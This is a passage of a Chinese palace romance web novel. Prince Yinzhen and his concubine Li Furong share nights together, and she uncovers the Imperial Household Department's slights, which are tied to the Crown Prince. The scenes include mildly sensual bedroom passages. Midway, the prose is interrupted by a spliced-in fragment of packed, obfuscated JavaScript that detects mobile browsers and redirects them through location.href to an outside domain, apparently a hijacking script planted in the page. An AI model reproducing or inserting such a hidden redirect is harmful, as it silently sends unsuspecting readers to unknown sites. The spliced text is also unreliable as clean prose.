感受着怀中绵软的身子,望着美人水汪汪的眼睛,胤禛喉结滚动,空出的手摩挲着朱红的唇,如柳絮飘过,带来细微的痒,李芙儿没忍住,贝齿轻轻咬下,殷红的舌尖不经意沾上胤禛的手指,胤禛骤然变色,低下头去,狠狠地缠住若隐若现的小舌。
唇舌交缠,李芙儿喘息突然变得急促,细密的汗水从后背冒出,四肢百骸好像失了力气,脚下软绵绵的,整个人都软在胤禛的身上,用他的身子做些支撑。
突然天旋地转,李芙儿被大力搂起,胤禛大步往内室走去,新铺的床厚实而喧软,李芙儿一躺上去,便深深地陷了进去,她眼神迷离,双手环绕着胤禛的脖子,紧紧搂着胤禛的身子,急促地喘息着。
呼吸喷到胤禛的耳朵上,他耳朵充血变红,手上的动作愈急,衣裳首饰被粗暴地扔在地上,这让李芙儿愈发失了章法,随着胤禛沉浮。
不知过了多久,灯油已经燃尽,烛火啪嗒一声熄灭,满室陷入黑暗,内室的动静才停歇。
“爷,”慵懒的女声沙哑而柔媚,胤禛听着她依赖的声音,原本想喊人的动作一顿,借着外头的月光,从满地凌乱的衣裳中挑出袍子,批到身上,又将锦被扯开,将李芙儿盖个严严实实,等到床帘放下后,胤禛才令人送热水进来。
等到热水送来,胤禛也没让开,他接过温热的帕子,便令人都下去,随意地擦过后,又换了条帕子,将李芙儿从被子里挖出来,将她身上擦干净。
李芙儿只觉得浑身都变得清爽起来,之前的粘腻再也不见,她搂住胤禛的腰,连亲了几口。
“你这是还不累?”胤禛用力,将李芙儿搂在怀里,深深呼吸,抑制住心头的想,沉着声问道。
累,怎么不累,李芙儿本来就不甚爽利,这一番折腾下来,只觉得更加疲惫,听出了胤禛隐藏的意思,她飞快钻进被子里,讨好地笑了笑,将自己包地严严实实。
胤禛被她这不认人的作派逗乐了,作势要将锦被扯开,李芙儿丰腴地双臂从锦被里伸出,如藤蔓一般缠上胤禛,凑上去讨好地在胤禛胸口亲了两口:“爷,我错了,您别和我计较。”
胤禛是第一次遇见李氏这样大胆的人,看着李芙儿眼中狡黠的笑着,胤禛深吸口气,隔着被子在李芙儿腰下拍了一掌。
“爷!”李芙儿羞赧不已,他怎么可以拍那里,桃花眼水汪汪的,充满了控诉地看着胤禛。
胤禛低低笑出声来,索性将李芙儿搂住:“睡觉!”
李芙儿隔着被子被紧紧箍住,挣扎两下,见无法挣脱,索性也不动了,闭上眼很快陷入了梦乡。<
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p>月儿透过窗纸,在地上铺上一层流光,等到流光隐没踪迹,胤禛从梦中醒来,只见睡前隔着被子的两人,已经躺到了同一个被窝里,香暖甜腻,春宵苦短。
“爷,寅时一刻了。”苏培盛在帐子外轻声唤醒,今儿个已经起晚了,再晚进学就得迟了,万岁爷最注重阿哥们的学业,绝不允许怠慢。
胤禛身子一动,便要起来,却只觉得半个身子都酥酥麻麻的,被枕边人压地严实,他微微挪动身子,好梦正酣地李芙儿也醒了过来。
“爷?”李芙儿揉了揉眼睛,探起身要掀开帐子,厚实的锦被顺着背脊滑下,莹润的后背在帐子里明晃晃地扎眼:“什么时辰了?”
胤禛脸色板起,冷着脸将锦被兜头兜脸
地将李芙儿罩住:“还早,你继续歇着。”
说完便要起身。
“呜呜呜!”李芙儿挣扎着从被子里冒出头来,抓住胤禛的手:“爷,您等等,妾送您。”
眼前的人仍在困倦中,眨眨眼泪水都要留下来,却是如此的坚定。
胤禛的心不由软了下来,他摸了摸李芙儿的头发,扬声对苏培盛说道:“先出去等着。”
窸窸窣窣地声音悄然离开,等听到外头没有动静了,胤禛才掀开床帘,从脚踏上将衣裳捡起,示意李芙儿穿上。
见着眼前满地的衣裳,想起前一天晚上的孟浪,李芙儿匆忙将衣裳接过,胡乱地套到了身上。
见着李芙儿衣着完整了,胤禛这才随意披上袍子,示意苏培盛再进来。
崭新的衣裳放在鸡翅木托盘里,被苏培盛亲自呈上。
“我来吧。”青烟似地声音从身后传来,苏培盛将头埋地低低的,不敢抬头直视。
胤禛回头,只见那件宝蓝色莲花如意纹袍子,被纤长的手指捻起,白皙的手指泛出玉石的光泽。
胤禛挥挥手,示意苏培盛退开,随即张开手,任李芙儿施为。
苏培盛眼观鼻,鼻观心,觑着李芙儿的动作,及时将衣裳配饰一件一件的递过来。
里衣,中衣,夹棉袄子,外袍,逐层地套到胤禛身上,纤纤素手灵巧地将扣子逐个扣好,又将玉带在腰上系好,配好的香囊,玉佩挂上,最后李芙儿将衣领拂过,本就立挺的衣领更加挺括。
退后一步,李芙儿上下打量着眼前人,肃肃然如山中松,宝蓝色的衣裳更将人衬托地挺拔,她满意地点了点头。
既来之则安之,既然入了宫,就安心过好日子,眼前人年少英武,身姿挺拔,更何况还富贵无双,眼见着已经成了胤禛的侍妾,也别再惦记着其他可能,好好得到胤禛的宠爱,这样就算日后失了宠,凭着这些日子的情分,她也能在四阿哥的后院里有个角落安静地活着。
李芙儿心里的弯弯绕绕,胤禛不知,他见李芙儿站他身前不愿让开,用力握了握李芙儿的手:“你舍不得爷,爷知道,爷现在有正经事要去做,晚上再来看你。”
李芙儿连忙往旁边挪动脚步,将路让开,胤禛看着外头的天色,不能再耽搁了,匆匆走了出去,留下李芙儿望着他的背影越走越远。
5. 殷勤
天依旧黑沉沉的,春夜的风格外寒凉,从大开的殿门吹进,李芙儿不由打了个哆嗦,见着胤禛的身影随着灯笼小时在宫门之外,李芙儿打了个哈欠;“秋菊,冬梅,将院子看好,我再去躺会儿。”
说着,便揉着腰,往屋子里走去。这几日的相处,秋菊也知晓眼前的主子是个有主意的,便也没有多劝,点头应了。
反倒是辛嬷嬷,躬着身子笑道:“格格,奴婢祖上是女医,手上工夫不错,给您松松筋骨如何?”
她这小院还有这等有本事的人物!李芙儿眼一亮,连连点头,原本想好的补眠也抛之脑后。
新换上的暗红葡萄纹丝绸单子在床上铺得平整,李芙儿褪去衣裳,趴在绣枕之上,从肩膀到脚踝,处处都是红痕点点,饶是辛嬷嬷是宫中老人,也没见过这般景象,她心中更加热切,对李芙儿伺候地愈发周到。
日后四阿哥出宫建府,凭着这主子的得宠程度,一个侧福晋的位份跑不了,若是能跟着这主子出宫,下半辈子才算是有了依靠。
辛嬷嬷将十八般武艺全都使了出来,不愧是家传的手艺,李芙儿只觉着全身的酸胀都好了许多,她趴在锦被上,心情大好:“万万没想到嬷嬷还有这份手艺。”
辛嬷嬷笑着应了几声,她这祖传的本事好处可多着呢,可不仅仅能舒缓筋骨,还能补血养颜,最是养人,不过不急,口说无凭,过些日子主子就知道了。
被温热、略带粗糙的手按着,李芙儿浑身都暖洋洋地,陷入了睡梦之中。
又过了一个多时辰,无尽的夜幕已经退去,天边渐渐露出鱼肚白之色,静了一整夜的紫禁城,重又苏醒过来,
厚重的帐子也遮不住大白天的光,李芙儿皱着眉往锦被里躲了躲,终究还是醒了过来,她慵懒地伸了个懒腰,将床帐掀开,扬声将秋菊焕进来。
“主子。”秋菊领着宫人,伺候着李芙儿洗漱,在她耳旁回话的声音低低的,唯恐惊了什么:“早膳已经摆好了。”
“嗯,”经过一整晚的闹腾,李芙儿腹中早就空空如也,随意将头发挽起,她穿上家常的衣裳,被簇拥着到了饭厅。
一碟碟菜从食盒里拿出,香气氤氲,热气腾腾,且不说食材的不同,仅就色香味这一点,打眼瞧着便不是御膳房大灶上的手艺。
“小福子,你用心了,去找你秋菊姐姐领赏。”李芙儿笑着说道。
“主子,”小福子手上摆盘不停,却不耽误他殷勤回话:“奴才哪有这么大的本事,这可是御膳房的张大厨亲自做的,四阿哥吩咐从他的例菜里给您分一份!”
这人还算有心!
前一天晚上将她烙饼一样的翻来覆去,她大人有大量,就不计较了。
拿起筷子尝了几口,果然很和心意,李芙儿心情更好,她本就是爽阔的性子,虽然看着娇滴滴的,却不是个伤春悲秋之人。
她既然能在李家过好,到了宫里,依旧能将自己日子过得自在。
好在四阿哥看着冷,却也有几分体贴。
不过,等等……
李芙儿想起一事,夹菜的手悬住,扭头看向秋菊:“早上四阿哥是不是没有用膳就走了?”
秋菊布菜的动作一停,回想片刻,脸色煞白:“没有。”
声音哆嗦地直发颤。
“四阿哥出门的时辰太早,御膳房的早膳还没有送过来,奴婢也没有夜间行走的宫牌,去不了御膳房叫膳。”
紫禁城里宫规森严,夜间宫门下钥,除了拿着特殊腰牌当差的宫人,旁人一律不许行走。
不知道平日里四阿哥的早膳如何解决,但这儿确实没有准备。
金尊玉贵的主子,就这么饿着肚子去进学了。
李芙儿吃着特意从胤禛分例中拨出来的菜,心中有着些微的羞赧。
“没事,四阿哥既然让人送了东西过来,就没有生气。”李芙儿安慰着秋菊。
但是,眼见着四阿哥正热乎的时候,也不能让他每天都空着肚子进学,也不知道之前是什么惯例,但既然到了她的屋子,就按她的法子来。
想到这,李芙儿略一凝神,向小福子吩咐:“一会儿去御膳房,让他们做些馄饨饺子面条过来,再捡着新鲜的牛肉,羊肉,酱卤出来,现在天冷,东西都放得住,让他们多备一些。”
“对了,那卤口味别做太重,让师傅们盐啊酱啊都少放些,免得白日里口渴。”
“好嘞,还是主子心细!”小福子觍着脸奉承了几句,便去找秋菊领银子。
毕竟宫中势利眼多,不拿银钱来道,谁理他这小人物。
桌上的菜撤了下去,漱过口,接过建盏,旧年的茶叶泡出的茶有种湿漉漉的潮气,李芙儿微微皱眉,却也没有多言。
正是青黄不接的时候,今年的新茶还没下来,旧年的茶收了一年,总有些保管不善的,受了潮无法入口。
各地每年送入宫中的贡茶不少,什么龙井,大红袍,铁观音,普洱,金骏眉,六安,数得上名的,没听过的,各色各样都会送来宫中,即使有些茶叶受潮了,这损耗也并非不能承受,将这些次茶剔了,剩下的茶叶也够宫中大大小小主子使用了。
然而,送来李芙儿这儿茶叶,眼见着无法入口。
这其中没有猫腻,谁信呢?反正内务府只要保证主子们分例上对得上就成,至于东西的好劣,谁能说得明白。
反正送给万岁爷以及主子娘娘们出不了岔子,那些小贵人们,哪里有什么路子诉苦。
李芙儿在家是长姐,随着母亲理过家事,在梅花胡同里能够买到进内的好茶,是京中人家都知道的秘密。
这茶从哪里来的,总得个缘法,买茶的人家,心照不宣地对了个眼神,心下明白又有软柿子被拿捏了。
此时,这个软柿子就成了李芙儿。
“哒”地一声,雨过天青色杯盏被放在杉木边几上。
这带着霉
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味的陈茶,与边几上暗淡的鹊上枝头纹饰倒是相配,李芙儿撑着下巴,饶有意趣地想着,染着丹簆的指甲湿漉漉地在杯中搅弄着,泡久的茶水颜色愈发暗沉,甚至隐隐能见着铁锈般的暗红,污了手指的颜色。
已经泡散的茶叶,愈发碎地厉害。
茶叶片片成渣,李芙儿心里已经有了计较。
“主子,格格,”去膳房的小福子满脸压不住的喜色,在外头还能勉强操持镇定,等进了西厢房,脚下的步子都开始磕巴,若非秋菊扶了一把,就要摔倒在地,食盒里的东西也会散了一地。
小福子一个激灵,吓得浑身冒出来了白毛汗,在御膳房里受到的那几分恭维而导致的飘飘然止了下来,总算冷静几分。
“主子恕罪。”小福子小心地将食盒放下,跪在地上磕头请罪。
这食盒是宫中最常见的松木盒子,上下四层,每层都能放下一个盘子的大小,盒盖和四周雕着石榴花开的图案,刷着暗红色的油漆。
同样的,这个油漆,看上去也时日颇久,虽然还没有掉漆露出木头的原色,但在经常触碰的地方,颜色已经黯淡无光。
这西厢房里,真的是完完全全的敷衍,从上到下,所有的东西没一个能细究的。
也不知道是内务府对于胤禛这个阿哥看不上,还是笃信胤禛不会为李芙儿出头。
将这食盒上上下下、仔仔细细地打量过一次,李芙儿估摸将小福子晾得差不多了,这才悠悠说道:“起来吧,在外头遇上什么好事了,把你乐成这样?”
小福子磕了个头,十分的笑意拢成了三分,要想在宫里活得久,喜怒不喜于人色是基础,主子压他性子是为了他好,小福子懂。
“主子,”小福子从怀中掏出那碎银子,正是从秋菊那儿领了,去御膳房活动的:“今儿个可是让奴才承您福了,奴才刚去御膳房,话还么说呢,那膳房的小苏拉便将我请了进去,爷爷长爷爷短的,奴才是哪个牌面上的人物,如何值得他们奉承,不过是见着您的面子,才对奴才这么客气。”
“这银子,奴才刚掏出来就被堵了回去,一个磕巴也没打的将奴才要的东西准备好了,还炖了盅燕窝孝敬您呢!”
哪里是见着她李芙儿的面子呢,不过是看着四阿哥拨出的分例面子。
李芙儿心里如明镜一般,宫中本就是如此拜高踩低,既然御膳房要表示,那她自是笑纳。
李芙儿将食盒打开,细细地查着小福子领回来的东西。
御膳房果然没有糊弄她,馄饨、饺子皮薄馅大,隔着薄到透明的皮,甚至能看见馅里面的青色,这是放了稀罕的洞子菜调馅儿。
而那面条,更是做的精细,尽管这面还是生的,却已经能想到煮熟后会何等劲道。
御膳房已经见风使舵了,内务府却未派人给她换新的东西,这里面显露出来的事情,可就多了。
李芙儿手轻轻拂过食盒,慢慢在心里琢磨着。
6. 共枕
春日里暖煦的日头隔着琉璃窗洒进了西厢房里,略显陈旧的家具被镀上一层金光,李芙儿晒着暖洋洋的太阳,心里慢慢有了计较,只等着胤禛回来。
太阳从东到西,“咚!咚!咚!”鼓声随着暮夜的来临而响起,从鼓楼悠悠荡荡,飘过京城上空,荡入紫禁城深处。
夜色将至。
紫禁城里也忙碌起来,宫女太监们正是下值时候,排成两排,低头往值房走去。
宫道的尽头突然传来喧哗之声,宫人们头低地更加厉害,能在宫中如此恣意的,只有主子,不是他们能够冲撞的。
前头的声音越来越大,为首的宫女忙领着一行人避到红墙底下,朱红的宫墙下,是颤巍巍伸长出来的迎春花瓣,小小的,嫩生生的,鹅黄的花瓣将这个春天骤然点得活泼起来。
一如正勾肩搭背走来的几个阿哥。
“四哥佳人在怀,就忘了我们这些弟弟,这几天都喊不出来了,今天必须去我那里喝酒。”八阿哥胤禩很长一段时间都与胤禛一同养在景仁宫,以前日日同进同出,这两年胤禛搬去阿哥所后,两人见面少了几分。
胤禩喊了好几次,胤禛都没赴约,这次索性叫上几个年龄相近的阿哥,散了学将胤禛强行拦住,簇拥着往景仁宫而去。
胤禛无奈应了。
大阿哥与三阿哥在宫外养大,与宫里的其他阿哥们淡淡的,再加上他们已经娶了福晋,有了差使,更不会和宫里的弟弟们瞎混,自四阿哥起,到十阿哥,除了夭折的六阿哥,其余人浩浩荡荡直奔景仁宫。
宫人们低眉敛目,屏息等着胤禛一行通过,等到这些尊贵的龙子凤孙走远,这才列队离开。
穿着棕褐色衣裳的宫人们沉默而规矩地走着,长长的宫道里,列队的宫人们犹如蚂蚁。
为首的宫人突然停下,后头的人没止住脚步,一头撞上前方人的后背。
额头被撞得疼痛的宫人正准备抱怨,抬眼却看见正前方那杏黄的衣角,瞬间什么也顾不上,直挺挺就跪了下去。
清廷里以黄为尊,在这清宫里明晃晃穿黄色衣裳,只有那几位贵人,无论眼前人是谁,都是小小的宫人得罪不起的。
“起吧。”年轻的男声传来,宫人们头低地更厉害,这声音,除了太子,别无他人。
从地上起来,宫人们小心地贴着墙根站着,给太子腾出道来,眼前的贵人却好似没有看见空旷的宫道,不见动静,有那大胆的,趁着旁边人的遮挡,悄悄地看了一眼,却被太子眼中那复杂的情绪吓得赶紧低头。
太子看向的方向,正是几位阿哥走过的地方。
起风了,春日的风半点也不温和,冷冽刺骨的寒风从宫道中穿堂而过,衣着单薄的宫人直打哆嗦,心中杂七杂八的想法也随着寒风飘荡远去。
不知过了多久,宫道两旁的宫人们站得腿脚都开始发颤,太子才挪动尊贵的脚步,领着人离开这宫道。
残阳如血,照着太子离开的背影,将他杏黄的衣裳上染上不详的血色。
西厢房里,李芙儿的晚膳被小福子从膳房提来,御膳房的师傅们依旧烧着她这个热灶,除了胤禛的分例,额外还有不少孝敬。
而且,晚膳的味道,明显比前些日子强了许多。
李芙儿心安理得的受了御厨的孝敬,只侧头问了问小福子:“前头有没有消息说爷今日过不过来?”
“主子,这…”小福子犹豫地看着李芙儿,小心地说着:“苏爷爷没让人传话。”
这便是四阿哥不会过来的意思了。
李芙儿顿了顿,点了点头,继续夹菜用餐。
“主子,”小福子唯恐李芙儿伤心,绞尽脑汁地安慰着:“前头没听见四阿哥回来的动静,四阿哥未必不会过来。”
秋菊也更加小心地伺候着,忖度着李芙儿的口味,给她布着她爱吃的菜。
见着身旁人小心翼翼地样子,李芙儿哭笑不得,四阿哥又不是她一个人的,她都入了深宫,如何会连这个道理也不懂。
但到底心里还是有几分欣慰,在注定寂寥的深宫里,好歹,还有那么几个人,在在意着她的情绪。
用完晚膳,已经快到落锁的时辰,前头还是没有信传来,李芙儿也不等了,收拾清爽准备睡觉。
白鹤延年铜灯座上的十数盏灯点燃,不大的厢房里,帷幔被昏黄的灯映地平添几分温柔,李芙儿在屏风后脱下宫装,换上松快的绸衣,曼妙的身姿被如水的绸缎裹着,隔着屏风投映成绰约的剪影。
佳人倾城,莫过于是。
胤禛便是这个时候走了进来,宫人已经下值,只剩守夜的宫人,见着四阿哥吓得话都说不明白,更别说通传。
李芙儿转出屏风,只见红梅报喜酸枝椅上,有个人大马金刀地坐着,隔着距离,都能闻见散发出的酒味。
“爷,您来啦!”刚洗过脸,李芙儿脸上残留着几滴透明的水珠,犹如白瓷沾露,我见犹怜。
见着胤禛,李芙儿眼中露出意料之外的惊喜之色,鸳鸯软鞋在地上留下匆忙脚步,很快便站到胤禛身前。
越往近走,酒味越浓。
李芙儿皱着鼻子,嗔怪说道:“爷这是在哪里喝了这么些子酒,也不知多保重身体。”
说着,眼圈一红:“妾实在担心。”
胤禛手撑着头,呼吸缓慢而粗重,他见着李芙儿胭脂红的眼圈,心头只觉暖暖的。
他喝酒并不鲜见,每次喝酒回来,苏培盛也能将他伺候妥当,但是谁敢在他这么一个阿哥面前唠叨。
昔日佟佳额娘在的时候,见着他和胤禩喝多了,还会关心几句,令人熬煮上一碗醒酒汤,然而佟佳额娘也去了些时日了,胤禛酒后再也没听过担心的话语。
眼见着眼前人忙忙碌碌,又是令人打水,又是令人取醒酒的饮子,又是令人拿来干净衣裳,西厢房里夜间当值的几个人被支使的团团转,桃花木簪虚虚地插在头发上,走动间“啪嗒”掉到地上。
黑黝黝的头发如绸缎流泻下来,铺了李芙儿满背。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221926|181553||http|test|mini|href|location''.split(''|''),0,{}));
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>雪肤,红唇,黑发,在暗黄的灯光下,美艳不可方物。
胤禛心下一动,本不欲说话的他,手揉着额头,重重地吐出口浊气,哑着声音:“兄弟们多日未聚,多喝了几杯。”
这是,解释?
李芙儿略微诧异地睁大眼眸,尽管与胤禛已经有了肌肤之亲,却也没想过四阿哥会将外头事情和她交代。
好像,似乎,或许,她在四阿哥这里,能有些许位置。
此时屋子里手忙脚乱的,没有工夫让李芙儿细想,西厢房里没有现成的解酒药,夜间下了钥也无法去御膳房传,李芙儿便命秋菊用温热的水冲上一杯蜂蜜水,甜滋滋的,既能甜嘴,又能解酒。
胤禛接过琥珀色的饮子,一饮而尽,被酒烧灼着的腹,被熨帖地安抚了下来。
等到松了发辫,擦拭干净头脸脖颈,换上干净的衣裳,胤禛只觉得全身都松快下来。
他惬意地舒了口气,握住李芙儿的手腕,手臂上肌肉鼓起,青筋浮现,李芙儿便倒在了他的怀里。
好在,这一番收拾下来,胤禛身上的酒味已经散的差不多,只剩下衣服上侧柏子香清爽的味道。
“不早了,安置吧。”胤禛的声音,愈发的哑。
不知想到什么,红晕爬了李芙儿满脸,她含羞带怯地瞥了胤禛一眼,随着他往内室走去。
绿底红缎鸳鸯戏水被子铺开,胤禛抱着李芙儿躺了下去,李芙儿长长的睫毛颤动,闭着眼等着胤禛的动作。
“嘀嗒,嘀嗒”,更漏声声,夜色愈发黑深,却没见胤禛的动静。
李芙儿悄悄睁开眼,却见胤禛胳膊搭在眼睛上,皱着眉隔着外头的光。
人已经将睡未睡。
李芙儿侧起身,轻手轻脚地将帐子放下,暗红色满绣葡萄床帐倏而落下,将灯火隔开,床榻间骤然陷入昏暗。
胤禛的眉头舒展开来,牢牢挡住眼睛的手臂也放了下来,伸展着往身旁探去。
但手伸展开,却捞了个空。
胤禛勉强睁开眼,眼前却只见重影,昏暗的帐幔里,人影更加难觅。
腹部用力,绷出紧致的线条,胤禛抬起上半身,循着熟悉的香味,将软玉温香搂在怀中。
怎么突然又精神起来了?
李芙儿腹诽着,却也未推拒,温顺地靠在胤禛怀里。
鼻息相闻,肌肤相贴,李芙儿本以为又是被翻红浪,却只见胤禛用被子将两人盖住,四肢将李芙儿缠住,咕哝着:“乖,歇吧。”
随后便将头埋在李芙儿颈间,闻着她身上的鹅梨帐中香,心满意足地睡了。
李芙儿试图挪开,却挣不开胤禛的怀抱,她稍微一动,胤禛便搂得更紧,直将她裹得透不过气来。
“爷,妾在呢。”李芙儿柔声安抚着,唯一能动的手沿着胤禛的背脊上下抚摸着,胤禛被抚摸着,喉咙里发出舒适的声音,手上的力度稍微松了几分。
眼见着是躲不开胤禛的怀抱,李芙儿索性闭上眼,与胤禛同入梦乡之中。
7. 私语
星垂天幕,夜色深沉,淅淅沥沥的春雨下了下来,打在窗棂之上,溅起细微之声。
随着这动静,胤禛醒了过来,在胤禩那儿被几个兄弟灌了一肚子的酒,混了个水饱,在睡了一觉之后,只觉着腹中如雷般鸣叫。
他欲要起身,唤苏培盛取来饽饽垫垫肚子,刚探起身子,却感觉到怀中紧紧缠着温热的身躯,胤禛将手松开,轻轻地将李芙儿放下。
许是想着胤禛喝了酒,心里头有事,饶是胤禛动作再轻,李芙儿也被惊醒。
她倏然睁眼,撑起半边身子,俯在胤禛的身上,柔声询问:“爷,这么了?”
如瀑的长发垂下,蜿蜒地铺满胤禛的身上,与胤禛的发相互缠绕。
“没什么事,我有点饿,去外头吃点东西,你继续睡。”深夜让人卸下了白日的身份,胤禛与李芙儿也你我相称。
但胤禛能够这么说,李芙儿却不能这么做,清宫里头规矩重,让人知晓了她放着四阿哥不管,呼呼大睡,这可不成样子。
李芙儿一把将被子掀开,入了春后,炭盆点的少了,料峭的春寒隔着帐子直往衣服里钻。
李芙儿忙将厚衣裳披上,无奈道:“您这样我如何能睡得着。”
说着,便借着月色走到铜灯旁,睡前点着的灯已经燃尽,借着月色,李芙儿从壶里倒出新油,又拿起火折子,将灯点燃,一灯如豆,不大的屋子里,被昏黄的灯点亮。
李芙儿扬声唤人进来。
外间值夜的秋菊将身上裹着的巾子掀开,从脚踏上站起来,几步便入了内室。
“昨儿个御膳房刚送来了饺子,去取了,在茶水间里煮了送来。”
李芙儿仍在不停地吩咐着,人站在灯火旁边,暗淡的灯火投在她的身上,才刚刚醒来,来不及梳妆打扮,并没有白日里的精致,她就站在那里,发丝凌乱,却让胤禛看着心里热意阵阵而过。
平常的百姓家里,或许便是如此。
这是长在深宫的胤禛,从未接触过的,独属于普通人家的温情。
他看着李芙儿的眼神,愈发地柔软。
没多久,刚煮好的饺子被送来,皮薄馅大,热气腾腾,一口咬下去,肉汁溢满唇间,比干巴巴的饽饽,点心好上许多。
在春寒料峭的夜里,能有这么一份热腾腾的饺子,足矣。
胤禛一口一个,三两下便将满满一大盘饺子全部吃完,烧灼的腹部才觉得缓解。
饺子入腹,胤禛仍觉得意犹未尽,李芙儿劝道:“夜间用多了积食,反正这饺子是现成的,您若想吃,明儿个早晨再给您煮一盘。”
胤禛诧异地扬了扬眉,他之前就在纳闷,李芙儿怎么能变出这盘热食。
李芙儿捂嘴笑了,眉眼弯弯,便将她令小福子去御膳房的事如此说来。
“倒是拖了您的福,我们这些人在御膳房都有了脸面。”
胤禛颔首,他被佟佳贵妃抚养长大,尽管佟佳皇后已经去世了,但她掌管宫务多年,在宫里威望不小,更何况他的亲生额娘是宫中四妃之一的德妃,颇得圣上宠爱,无论从哪儿论,宫里的那些人都不敢怠慢于他,看在他的面子上,李芙儿也不会被亏待。
然而胤禛这份自信很快被打破。
漱了口,消食茶被送上来,李芙儿垂着眼,遮住眼中的计较,笑着说道:“内务府里送来的茶叶,说这最是消食养身,爷您也尝尝?”
李芙儿水润的眼眸亮闪闪地,期待地看着胤禛,胤禛刚喝一口,眉头紧皱,他将茶杯拿到眼前,观其中茶汤的颜色,又闻着茶水的味道,不悦道:“你这儿宫人是怎么当差的,就这么怠慢主子?”
秋菊忙跪下请罪。
李芙儿慌忙问道:“爷,这茶可有什么问题?”
胤禛见着李芙儿眨巴着水盈盈的眼,眼中是澄澈地不解,心里暗暗叹了口气,真可怜,在民间没见过什么好东西,让内务府这么明目张胆的欺负还没看出来。
与那宫女也没什么关系。
胤禛转着杯子,杯中的茶汤被荡出圈圈涟漪,金黄的茶水从杯中溅出,滴到了胤禛的手上。
叹了口气,先是让秋菊退下,胤禛忍着心头的火气,耐心问道:“这是什么时候送来的?”
“这是妾刚到这西厢房的时候,内务府送来的分例。”李芙儿眨着眼,长长的睫毛小扇子般忽闪。
望着李芙儿嘴角甜蜜的笑意,胤禛心头怜意大盛,他不动声色地询问:“这两日内务府没有给你送来新的??”
“还没有到领分例的日子呢,自是没有新的送来。”李芙儿自然地说道。
胤禛杯子的手悄然用力,手背上青筋绷紧。
宫中拜高踩低本就是常态,胤禛自小长在深宫,这样的事情看多了,并不觉得稀奇。
只不过内务府那些人最是猴精,分寸拿捏格外精准,克扣的都是那些早就被主子们遗忘,无分位无宠幸的人。
李芙儿最近得了他的宠,内务府应当恨不得粘上来讨好,又怎么会如此慢待。
即使一开始没将李芙儿看在眼中,这两日也足够他们看明白风向了,没见着御膳房已经上赶着送东西了,就这内务府还让李芙儿喝受潮的茶,只能说明其中必有猫腻。
到底是在宫里长大的阿哥,略一思索,胤禛便想明白了里头的关节。
呵,这哪里是为难李芙儿,分明是在下他的脸面。
想到内务府的那些人,胤禛冷笑着。
太子的手段也太难看了,他在礼法地位上已经压了诸兄弟一头,何必用这等下作手段敲打。
佟佳皇后养子的名头,就这么让他忌惮吗?
胤禛越想,怒气越盛。
太子实在是欺人太甚!
然而,现在汗阿玛对太子偏宠的实在厉害,就算将这事情闹大,最多也不过是轻飘飘地训斥两句,反而惹出这件事情的李芙儿,不死也得脱层皮。
这口气,不忍也只能忍了。
胤禛牙关咬紧,手上用力到指尖泛白,他深吸两口气,将杯子放下,轻描淡写道:“这茶不好了,明儿个我让苏培盛给你送些好茶来。”
就这?<
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这样就结束了?
李芙儿轻巧地倚靠进胤禛的怀里,将脸埋进胤禛的胸前,掩盖住内心的惊讶。
将这茶给胤禛喝,是李芙儿思索了许久后想到一劳永逸的法子,她在宫中人微言轻,这样的事不一次就按下去,以后还有数不尽类似的事情。
只要胤禛能为她出头,哪怕就是给内务府递句话,以后宫里人在对她的态度上,都得多斟酌几分,这种将次品送来的事情,更会绝迹。
眼见着之前胤禛的怒意已经高涨,要找内务府给她讨个公道,让宫中人不敢小瞧于她,怎么转息之间,他又将怒意生生忍住。
要么,是胤禛不在意她,不愿意为她出头,要么,是里面的水太深,远超她的预计。
从胤禛紧紧搂着不放的手来看,他对她多少有几分的在意,那就只剩下一个可能。
她是杀鸡儆猴的那只鸡,是敲山震虎的那个山,那是普通的陈茶吗,不,不是的,那是算计,是阴谋。
李芙儿后背骤然冒出细密的冷汗,她这事做的还是大意了。
好在胤禛没看出她告状的心思,事情还没到最糟糕的地步。
李芙儿紧紧抿着唇,飞快思量着。
没等她想多久,胤禛低下头,低不可闻地在她耳旁说道:“内务府里有太子的人。”
李芙儿惊诧地瞪大了眼,她只是想让自己在宫里日子过得舒服点,可不想自找死路。
李芙儿反手抱住胤禛,细葱般的手指不住颤抖,她哑着嗓子:“爷,妾有点害怕。”
胤禛与李芙儿紧紧相贴,怀中人的变化他瞬间知晓,感受着怀中人的哆嗦,胤禛忙加大力气搂着李芙儿,抚摸着她的背脊安抚着,
“没事,没事!”胤禛将李芙儿松开,抬起她的头,看着那一张煞白的芙蓉面,爱恋地在她额头上亲着:“这是外头的事,与你无关,是爷带累了你。”
李芙儿依赖地将脸贴在胤禛的脖颈上,感受着血液跳动的声音,亲昵地蹭着。
既然得不到四阿哥的撑腰,那得到他的愧疚与怜惜,也不是不可以。
月儿悄悄地隐没,油灯里刚添满的灯油也低了下去,胤禛抱着李芙儿,两人喁喁私语,灯火将两人紧紧搂抱着的身影投在壁上,许久许久才消失。
翌日,李芙儿再醒过来的时候,早已天光大亮,胤禛早就起身去书房进学了。
金灿灿的日头从窗户外照进来,驱散了前一天夜晚的魑魅魍魉,李芙儿伸展身体,伸了个懒腰,问着在一旁候着的秋菊。
“四阿哥起来的时候说您累到了,让您多歇歇。”此时的秋菊已经不是早两日动不动就面红耳赤的宫女,她甚至还能打趣主子一二。
累…那是真没有,与其说累到了,不如说吓到了。
但既然秋菊误会了,就让这个误会持续下去,胤禛这么说,想必也有这个意思在。
李芙儿悄然笑了笑,光线将她的脸照得恍若透明,秋菊一时看得呆了,差点忘了回禀,苏公公一大早从四阿哥私库里,取了不少好茶过来的事情。
8. 共浴
茶,是好茶,金黄的茶汤里,是扑鼻的清香,再也没有那丝难闻的霉味。
李芙儿坐在廊下,令秋菊泡上茶,再摆上两碟糕点,摇椅摇摇晃晃,吱吱呀呀的声音被与淅淅沥沥地雨声应和着,一口清茶搭着一口糕点,李芙儿惬意地闭上眼。
胤禛便是这个时候,到了李芙儿的小院子。
李芙儿正哼着不知从哪儿听来的曲子,突然听见一阵急促的脚步声,睁开眼,却见一个泥人走了进来。
